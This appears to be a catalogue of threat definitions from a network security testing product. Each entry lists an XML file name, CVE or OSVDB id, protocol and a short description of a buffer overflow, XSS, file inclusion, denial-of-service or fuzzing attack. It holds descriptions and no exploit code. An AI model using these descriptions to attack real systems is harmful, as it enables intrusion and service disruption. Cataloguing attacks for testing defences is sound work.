Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3993
Threat Package:	Standard
Threat File Name:	squid_ftp_bof_IPv6.xml
Executive Description:	Squid Proxy FTP URL Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the URL parsing portion of Squid proxy server. This allows remote code execution to occur and allow the attacker to gain control of the proxy server. Proxy servers can listen on typical HTTP ports, such as 80, or on specific ports, such as 3128 in this case. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0068
OSVDB:	5378
Threat Package:	Standard
Threat File Name:	FSC20081027-07_Oracle_BEA_WebLogic_Server_Apache_Connector_Buffer_Overflow.xml
Executive Description:	Oracle BEA WebLogic Server Apache Connector Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable system with privileges of the running process, normally System.
Protocol Type:	HTTP

CVEID:	CVE-2008-4008
Threat Package:	Standard
Threat File Name:	TSL20120410-04_Microsoft_Internet_Explorer_OnReadyStateChange_Use-after-free_IPv6.xml
Executive Description:	Microsoft Internet Explorer OnReadyStateChange Use-after-free(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the attempted use of an object after it has been deleted. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP
CVEID:	CVE-2012-0170
Threat File Name:	FSC20110104-03_Microsoft_Graphics_Rendering_Engine_Thumbnail_Image_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Graphics Rendering Engine Thumbnail Image Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft's Graphics Rendering Engine. The vulnerability is due to insufficient input validation when processing the <i>biClrUsed</i> value of a bitmap thumbnail. An attacker can exploit this vulnerability by enticing a user to handle a specially crafted file. The file could be embedded in Office documents or a .MIC file. This vulnerability may be triggered by previewing the malicious file in thumbnail view. Successful exploitation could lead to arbitrary code execution.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-3970
Threat File Name:	FSC20080116-10_Cisco_Unified_Communications_Manager_CTL_Provider_Heap_Overflow.xml
Executive Description:	Cisco Unified Communications Manager CTL Provider Heap Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Cisco Unified Communications Manager. The flaw is due to a logic error in the Certificate Trust List (CTL) Provider service when processing client requests. A remote unauthenticated attacker can trigger this vulnerability by sending crafted message to the target server. Successful attack could allow for raising a denial of service condition or injecting and executing arbitrary code with the privileges of the affected service.
Protocol Type:	Proprietary
CVEID:	CVE-2008-0027
Threat Package:	Standard
Threat File Name:	catalyst_remote_reload_Dos.xml
Executive Description:	Cisco Catalyst CR Denial of Service
Detailed Description:	This threat sends a Carriage Return as its payload. This will cause a denial of service if sent to port 1761 on some Cisco Catalyst systems.
Protocol Type:	Proprietary
CVEID:	CVE-1999-0430
OSVDB:	1103
Threat Package:	Standard
Threat File Name:	FSC20090220-01_Adobe_Multiple_Products_Embedded_JBIG2_Stream_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Multiple Products Embedded JBIG2 Stream Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to insufficient input validation when processing embedded JBIG2 streams. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PDF files. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0658
Threat Package:	Standard
Threat File Name:	TSL20150526-12_Arcserve_Unified_Data_Protection_reportFileServlet_Directory_Traversal_IPv6.xml
Executive Description:	Arcserve Unified Data Protection reportFileServlet Directory Traversal IPv6 version
Detailed Description:	A directory traversal vulnerability exists in Arcserve Unified Data Protection (UDP). These vulnerability exists in reportFileServlet and are due to insufficient input validation of the remotely supplied file path. A remote unauthenticated attacker can exploit this vulnerability to result in information disclosure and denial of service. Tester should set the variable \$destPort to 8015 before test.
Protocol Type:	HTTP.IPv6
CVEID:	CVE-2015-4068
Threat File Name:	syslogFlood.xml
Executive Description:	Syslog Message Flood
Detailed Description:	This threat sends many syslog messages to a remote host. Can be done by an attacker to fill up available log space so that valuable forensics information is lost.
Protocol Type:	Syslog
CVEID:	CVE-1999-0171
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatsToTRACE.xml
Executive Description:	Fuzz HTTP TRACE appended by %s
Detailed Description:	Fuzzes the Method field appending with %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20080408-08_Microsoft_Visio_Object_Header_Buffer_Overflow.xml
Executive Description:	Microsoft Visio Object Header Buffer Overflow

Detailed Description:	A remote code-execution vulnerability exists in Microsoft Visio. The vulnerability is due to incorrectly handling the object header in a crafted Microsoft Visio file. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious Microsoft Visio file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1089
Threat Package:	Standard
Threat File Name:	dumb_remoteheapoverflow.xml
Executive Description:	DUMB "it_read_envelope()" Function Buffer Overflow
Detailed Description:	This threat uses a http server reply to send a malicious ".it" (Impulse Tracker) file leveraging a heap overflow vulnerability in Dynamic Universal Music Bibliotheque (DUMB) 0.9.3. DUMB 0.9.3 is an open source player library for the IT, XM, S3M and MOD file formats.
Protocol Type:	HTTP
CVEID:	CVE-2006-3668
OSVDB:	27340
Threat Package:	Standard
Threat File Name:	simplog_cmi_IPv6.xml
Executive Description:	Simplog 0.9.2 Remote Command Execution Exploit (IPv6 Version)
Detailed Description:	This threat exploits simplog by inserting a url into a cookie variable which allows for an arbitrary PHP file inclusion, this code is then executed by the server. Simplog is a web application and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	24559
Threat Package:	Standard
Threat File Name:	FSC20080825-03_Novell_iPrint_Client_ActiveX_Control_Multiple_Buffer_Overflows.xml
Executive Description:	Novell iPrint Client ActiveX Control Multiple Buffer Overflows
Detailed Description:	There exist multiple buffer overflow vulnerabilities in Novell iPrint Client. The vulnerabilities are caused due to insufficient boundary checking when certain parameters are passed to various methods exposed by the affected ActiveX control. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation might lead to injection and execution of arbitrary code in the security context of the currently logged in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-2431
Threat Package:	Standard
Threat File Name:	FSC20091117-05_HP_OpenView_Network_Node_Manager_Denial_of_Service.xml
Executive Description:	HP OpenView Network Node Manager Denial of Service
Detailed Description:	A denial of service vulnerability exists in HP OpenView Network Node Manager. The flaw is due to a design weakness when processing crafted packets sent to the server. Remote attackers could exploit this vulnerability by sending a malicious request to the affected TCP port. Successful exploitation can lead to a denial of service condition of the target system.
Protocol Type:	
CVEID:	CVE-2009-3840
Threat Package:	Standard
Threat File Name:	FSC20070424-14_CA_BrightStor_ARCserve_Backup_Media_Server_SUN_RPC_Service_Buffer_Overflow.xml
Executive Description:	CA BrightStor ARCserve Backup Media Server SUN RPC Service Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in CA BrightStor ARCserve Media Server. The vulnerability is due to insufficient boundary checking when processing crafted strings supplied in SUN RPC requests. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to execute arbitrary code on the vulnerable system in the context of the affected application, commonly System.
Protocol Type:	OS-LICMAN
CVEID:	CVE-2007-2139
Threat Package:	Standard
Threat File Name:	FSC20071023-20_IBM_Lotus_Notes_WPD_Attachment_Viewer_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes WPD Attachment Viewer Buffer Overflow
Detailed Description:	There exist a buffer overflow vulnerability in IBM Lotus Notes WPD viewer. The vulnerability is due to a boundary error while processing crafted WordPerfect (.wpd) files. A remote attacker could exploit this vulnerability by persuading a target user to open a malicious WPD file in Lotus email attachment. Successful exploitation of this vulnerability may allow arbitrary code injection and execution within the context of the logged in user.
Protocol Type:	IMAP
CVEID:	CVE-2007-5544
Threat Package:	Standard
Threat File Name:	grapagenda_rfi_IPv6.xml
Executive Description:	Graphiks GrapAgenda Index.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. GrapAgenda is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4610
Threat Package:	Standard
Threat File Name:	vlc_fmt_intel.xml
Executive Description:	VLC Media Player UDP URL Handler Format String Vulnerability (Intel)
Detailed Description:	This threat simulates a client requesting a media file, and the server replying with a maliciously constructed m3u file. This file will trigger a format string vulnerability in the UDP URL handler in the popular VLC media player. The transport of the m3u file is done via HTTP, which generally runs on port 80. The payload of this threat is for Intel based Macs.
Protocol Type:	HTTP
CVEID:	CVE-2007-0017

Threat Package:	Standard
Threat File Name:	FSC20090326-04_Mozilla_Firefox_XSL_Transformation_Memory_Corruption.xml
Executive Description:	Mozilla Firefox XSL Transformation Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Mozilla Firefox. The flaw is due to insufficient validation while processing a malicious XSL stylesheet. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. In a successful attack that arbitrary code being injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1169
Threat Package:	Standard
Threat File Name:	miniwebshop_xss.xml
Executive Description:	Mini Web Shop View.PHP Viewcategory.PHP Cross-Site Scripting Vulnerability
Detailed Description:	This threat attempts to cause a cross site scripting condition through the View.php function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. Mini Web Shop is a web application, and typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090727-08_Squid_Proxy_Invalid_HTTP_Response_Status_Code_Denial_of_Service_IPv6.xml
Executive Description:	Squid Proxy Invalid HTTP Response Status Code Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in the way Squid handles HTTP responses. The vulnerability is due to an error when handling malformed HTTP responses. Remote attackers can exploit this vulnerability by accessing a malicious web server via the target Squid proxy. Successful attack could create a denial of service condition to the target server. (IPv6 Version)
Protocol Type:	/IPv6
Threat Package:	Standard
Threat File Name:	sqwebmail_xss.xml
Executive Description:	SqWebMail Attachment XSS
Detailed Description:	This threat sends an email with a .jpg extension but with a MIME encoding of text/html. This causes the SqWebMail email application to execute the Javascript contained inside. This Javascript can be used to create a cross site scripting situation where the attacker can create and delete email without user intervention. SqWebMail is a web based email application. This threat targets the SMTP MTA portion of the email delivery, which is typically port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-1308
OSVDB:	18948
Threat Package:	Standard
Threat File Name:	TSL20121016-02_Nginx_Location_NTFS_Extended_Attributes_Security_Bypass.xml
Executive Description:	Nginx Location NTFS Extended Attributes Security Bypass
Detailed Description:	A security bypass vulnerability has been reported in Nginx. The vulnerability is due to an error when resources defined by the location directive are accessed via an HTTP request containing directory names with NTFS extended attributes. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted request to a vulnerable instance of Nginx. This can result in disclosure of sensitive information.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-4963
OSVDB:	84339
Threat File Name:	FSC20091013-09_Microsoft_Office_Art_Property_Table_Memory_Corruption.xml
Executive Description:	Microsoft Office Art Property Table Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office. The vulnerability is due to insufficient input validation when processing Art Property tables. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious Office document. Success exploitation could result in injection and execution of arbitrary code, any code injected and executed will be under the security context of the current logged on user. The behaviour of the target would depend on the intention of the malicious code. In case of unsuccessful code injection, the affected application could terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/FTP
CVEID:	CVE-2009-2528
Threat Package:	Standard
Threat File Name:	TSL20150414-31_Microsoft_Internet_Explorer_CVE_2015-1665_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1665 Use After Free.
Detailed Description:	A use-after-free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1665
Threat File Name:	FSC20080708-03_Microsoft_SQL_Server_CONVERT_Function_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft SQL Server CONVERT Function Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft SQL Server. The vulnerability is specifically caused by insufficient data validation when processing parameters passed to CONVERT function in an SQL statement. A remote authenticated attacker can exploit this vulnerability to execute arbitrary code with privileges of SQL Server process on the target system. (IPv6 Version)
Protocol Type:	MS-SQL-S/IPv6
CVEID:	CVE-2008-0086
Threat Package:	Standard
Threat File Name:	FSC20101123-06_Apple_Safari_WebKit_Selections_Use_After_Free_IPv6.xml
Executive Description:	Apple Safari WebKit Selections Use After Free (IPv6 Version)

Detailed Description:	A code execution vulnerability exists in Apple Safari WebKit. The vulnerability is due to a use-after-free error when processing a stale pointer using element focus. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally. Note that TELUS Security Labs team has not been able to reproduce this vulnerability using the Apple Safari web browser during the contractual research period. Further investigation is required to understand under what circumstances the vulnerability can be triggered.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2010-1812
Threat Package:	Standard
Threat File Name:	TSL20170112-09_Aerospike_Database_Server_as_sindex__simatch_list_by_set_binid_Stack_Buffer_Overflow.xml
Executive Description:	Aerospike Database Server as_sindex__simatch_list_by_set_binid Stack Buffer Overflow
Detailed Description:	A memory corruption vulnerability has been reported in Aerospike Database Server. This vulnerability is due to improper bounds checking of user-supplied set name variable in as_sindex__simatch_list_by_set_binid() function in secondary_index.c. A remote attacker could exploit these vulnerabilities by sending a maliciously crafted packet to the vulnerable server. Successful exploitation of these vulnerabilities could lead to arbitrary code execution.
Protocol Type:	Aerospike Database Server
CVEID:	CVE-2016-9054
Threat File Name:	efiction_cmi_IPv6.xml
Executive Description:	eFiction Image Upload Arbitrary Command Execution (IPv6 Version)
Detailed Description:	This threat posts a malicious image file which allows the execution of arbitrary commands. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4171
OSVDB:	21124
Threat File Name:	FSC20050624-01_Veritas_Backup_Exec_Agent_CONNECT_CLIENT_AUTH_Buffer_Overflow_IPv6.xml
Executive Description:	Veritas Backup Exec Agent CONNECT_CLIENT_AUTH Buffer Overflow (IPv6 Version)
Detailed Description:	The VERITAS Backup Exec for Windows contains a remotely exploitable buffer overflow vulnerability. The vulnerability is triggered when crafted authentication requests are handled, allowing a remote attacker to execute arbitrary code with privileges of the System user. (IPv6 Version)
Protocol Type:	NDMP/IPv6
CVEID:	CVE-2005-0773
Threat Package:	Standard
Threat File Name:	TSL20130729-15_PineApp_Mail-SeCure_confpremenu_php_Export_Log_Command_Injection.xml
Executive Description:	PineApp Mail-SeCure confpremenu.php Export Log Command Injection
Detailed Description:	A command execution vulnerability exists in PineApp Mail-SeCure. The vulnerability is due to an input validation error in the confpremenu.php script while exporting logs. A remote attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable server. Successful exploitation could result in commands being executed with root privileges.
Protocol Type:	HTTP, HTTPS
OSVDB:	95783
Threat File Name:	FSC20070919-07_Sun_Microsystems_JRE_isInstalled_dnsResolve_Function_Memory_Exception.xml
Executive Description:	Sun Microsystems JRE isInstalled.dnsResolve Function Memory Exception
Detailed Description:	There exists a design weakness vulnerability in the way Sun Java Web Start ActiveX control handles user supplied data. Specifically, the vulnerability is due to improper validation of user supplied data in the isInstalled.dnsResolve ActiveX control method. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, causing a denial-of service condition.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ez-ticket_rfi_IPv6.xml
Executive Description:	EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. EZ-Ticket is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5523
Threat Package:	Standard
Threat File Name:	zawhttpd_bof.xml
Executive Description:	zawhttpd Buffer Overflow Exploit
Detailed Description:	This threat exploits a flaw in the zawhttpd URI parser which causes a buffer overflow condition. zawhttpd is an HTTPD service which typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	datalookDoS.xml
Executive Description:	Datalook Denial of Service
Detailed Description:	This threat causes the proxy program Datalook to crash by sending a malformed HTTP request. This threat will typically be directed at port 80.
Protocol Type:	HTTP
OSVDB:	17648
Threat Package:	Standard
Threat File Name:	FSC20090512-10_Microsoft_Office_PowerPoint_Legacy_Format_Printer_Record_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint Legacy Format Printer Record Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to insufficient boundary check when processing crafted Printer records. Remote attackers may exploit this vulnerability to inject and execute arbitrary code. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with the privileges of the logged on user. In an attack case where code injection is not successful, the affected application will terminate abnormally.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0227
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_carat.xml
Executive Description:	Fuzz SMTP HELO verb with ^
Detailed Description:	Fuzzes the SMTP HELO Parameter with ^ from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	InternetExplorerFTPXSS.xml
Executive Description:	Microsoft Internet Explorer FTP XSS attempt
Detailed Description:	This threat attempts to execute Javascript locally by supplying a bad FTP hostname containing Javascript. Can be used to gain control of the user through the web browser. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2002-2062
OSVDB:	3049
Threat Package:	Standard
Threat File Name:	radiusSNMP_IPv6.xml
Executive Description:	GNU SNMP RADIUS DoS (IPv6 Version)
Detailed Description:	This threat attacks a flaw in GNU SNMP RADIUS. It sends an invalid SNMP packet destined for the GNU RADIUS server. This will cause a crash in certain versions. (IPv6 Version)
Protocol Type:	SNMP, RADIUS, IPv6
CVEID:	CVE-2004-0849
Threat Package:	Standard
Threat File Name:	foing_cmi_d.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via list.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071107-16_oracle_bof_IPv6.xml
Executive Description:	Oracle Database Server XDB PITRIG_DROPMETADATA Procedure Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of the arguments supplied to procedure PITRIG_DROPMETADATA in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to execute arbitrary code within the security context of the affected service. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-4517
Threat Package:	Standard
Threat File Name:	FSC20100330-08_Microsoft_Internet_Explorer_onreadystatechange_Use_After_Free_Vulnerability.xml
Executive Description:	Microsoft Internet Explorer onreadystatechange Use After Free Vulnerability
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in the handling of deleted or uninitialized HTML objects. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0491
Threat Package:	Standard
Threat File Name:	TSL20161215-05_OpenSSH_kex_input_kexinit_Denial_of_Service.xml
Executive Description:	OpenSSH kex_input_kexinit Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in OpenSSH. The vulnerability is due to improper implementation of the kex_input_kexinit function in the kex module allowing the function to be repeated after receipt of a message. A remote attacker could exploit this vulnerability by sending maliciously crafted request to the server during the key-exchange process. Successful exploitation of this vulnerability could lead to excessive memory consumption causing denial of service.
Protocol Type:	SSH
CVEID:	CVE-2016-8858
Threat File Name:	FSC20071029-03_Oracle_Database_SYS_LT_FINDRICSET_SQL_Injectioni.xml
Executive Description:	Oracle Database SYS.LT.FINDRICSET SQL Injection
Detailed Description:	There exists a SQL injection vulnerability in Oracle Database. The vulnerability is due to insufficient sanitization of the input parameter in the "SYS.LT.FINDRICSET" function. A remote authenticated attacker could exploit this vulnerability by embedding malicious SQL code as part of the vulnerable parameter. Successful exploitation would allow "PUBLIC"users to gain "SYS" level privileges.
Protocol Type:	TCP
CVEID:	CVE-2007-5511
Threat Package:	Standard
Threat File Name:	FSC20070213-08_Microsoft_Internet_Explorer_FTP_Response_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer FTP Response Parsing Memory Corruption (IPv6 Version)

Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The flaw is due to improper validation of reply lines in FTP server responses. By persuading a user to visit a malicious web site, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2007-0217
Threat Package:	Standard
Threat File Name:	smtpFormat.xml
Executive Description:	SMTP Server Error Message Format String Overflow
Detailed Description:	This threat mimics the behaviour of a malicious SMTP server attempting to crash or cause code execution on a mail client sending email. This can be used with other attacks, such as redirection, to cause code execution on a client. SMTP servers typically listen on port 25. This threat is a client attack that comes from the virtual server.
Protocol Type:	SMTP
CVEID:	CVE-2003-0852
OSVDB:	8332
Threat Package:	Standard
Threat File Name:	cubecart_xss.xml
Executive Description:	CubeCart Cross-site Scripting Vulnerability
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing Javascript pop-up, the script is inserted into the page with no checking. CubeCart is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	phpMyVisitesFileRead_IPv6.xml
Executive Description:	phpMyVisites Arbitrary File Reading (IPv6 Version)
Detailed Description:	This threat takes advantage of a form submission that will set a cookie which allows an attacker to read an arbitrary file off of the system. This allows the attacker to learn more about the system for further attacks or read sensitive information. phpMyVisites is a PHP script which will typically run on a webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1325
OSVDB:	15857
Threat Package:	Standard
Threat File Name:	sipmissingheaders_IPv6.xml
Executive Description:	SIPPING: Missing Required Headers (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message missing a number of required headers. Because this is unexpected, it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	vlanflood_IPv6.xml
Executive Description:	VLAN Flood (IPv6 Version)
Detailed Description:	This threat fires off a flood of VLAN tagged packets in an attempt to confuse a router or switch. Can cause failure of switching equipment. (IPv6 Version)
Protocol Type:	VLAN/IPv6
Threat Package:	Standard
Threat File Name:	safenet_BOF.xml
Executive Description:	SafeNet License Manager Overflow Attempt
Detailed Description:	This threat causes a buffer overflow on the SafeNet License Manager Application. The license manager typically listens on port 5093.
Protocol Type:	Proprietary
CVEID:	CVE-2005-0353
OSVDB:	14605
Threat Package:	Standard
Threat File Name:	FSC20041012-03_Microsoft_Internet_Explorer_CSS_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CSS Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability exists in the way Microsoft Internet Explorer renders web pages using Cascading Style Sheets (CSS). When the vulnerable software is used to view a malicious CSS web page, a buffer may be overrun. An attacker could exploit this vulnerability to inject and execute arbitrary code on a system running the vulnerable software. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0842
Threat Package:	Standard
Threat File Name:	TSL20110614-14_Microsoft_Office_Excel_Record_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Office Excel Record Type Confusion(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper parsing of records leading to type confusion in the vulnerable product while handling specially crafted Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1273
Threat File Name:	TSL20150714-13_Microsoft_Internet_Explorer_CVE_2015_2419_JScript9_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2419 JScript9 Memory Corruption IPv6 version

Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error in jscript9.dll when handling certain objects in memory. A remote attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-2419
Threat File Name:	omniweb_format.xml
Executive Description:	Omniweb Format String Vulnerability
Detailed Description:	This threat sends out a malicious webpage that can write arbitrary values to memory in the Omniweb Webbrowser. This is passing the argument %n%n to the alert method in javascript. This attack would come from a malicious webserver listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	dns_transfer.xml
Executive Description:	Domain Transfer Request
Detailed Description:	This threat issues a domain transfer request for imperfetnetworks.com, listing all of the addresses contained therein. This is normally used by attackers to discover potentially overlooked and vulnerable machines, and also to provide a window into the structure of an internal network. Domain transfers typically occur over TCP port 53.
Protocol Type:	DNS
CVEID:	CVE-1999-0532
OSVDB:	492
Threat Package:	Standard
Threat File Name:	TSL20140604-08_Samsung_iPOLiS_Device_Manager_FindConfigChildeKeyList_Buffer_Overflow.xml
Executive Description:	Samsung iPOLiS Device Manager FindConfigChildeKeyList Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in Samsung iPOLiS Device Manager. The vulnerability is due to insufficient input validation in the implementation of the FindConfigChildeKeyList method of the XNSSDKDEVICE.XnsSdkDeviceCtrlForIpInstaller ActiveX control.A remote attacker can exploit these vulnerabilities by enticing a user to visit a maliciously crafted web page. This can result in code execution in the context of the affected user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3912
OSVDB:	107722
Threat File Name:	FSC20090318-06_Adobe_Acrobat_JavaScript_getIcon_Method_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat JavaScript getIcon Method Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to insufficient input validation in the getIcon() method of a Collab object, while processing a crafted PDF file. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PDF files. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0927
Threat Package:	Standard
Threat File Name:	sipspacereq_IPv6.xml
Executive Description:	SIPPING: Multiple Spaces on Request Line (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with multiple spaces between elements on the request line. This is an invalid SIP message and because it is unexpected may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20070827-11_Motorola_Timbuktu_Crafted_Login_Request_Buffer_Overflow_IPv6.xml
Executive Description:	Motorola Timbuktu Crafted Login Request Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Motorola Timbuktu product. The vulnerability is due to lack of boundary protection when handling user login requests. A remote unauthenticated attacker can leverage this flaw to inject and execute arbitrary code on the target host with System level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-4221
Threat Package:	Standard
Threat File Name:	phpbb_datenbank_xss.xml
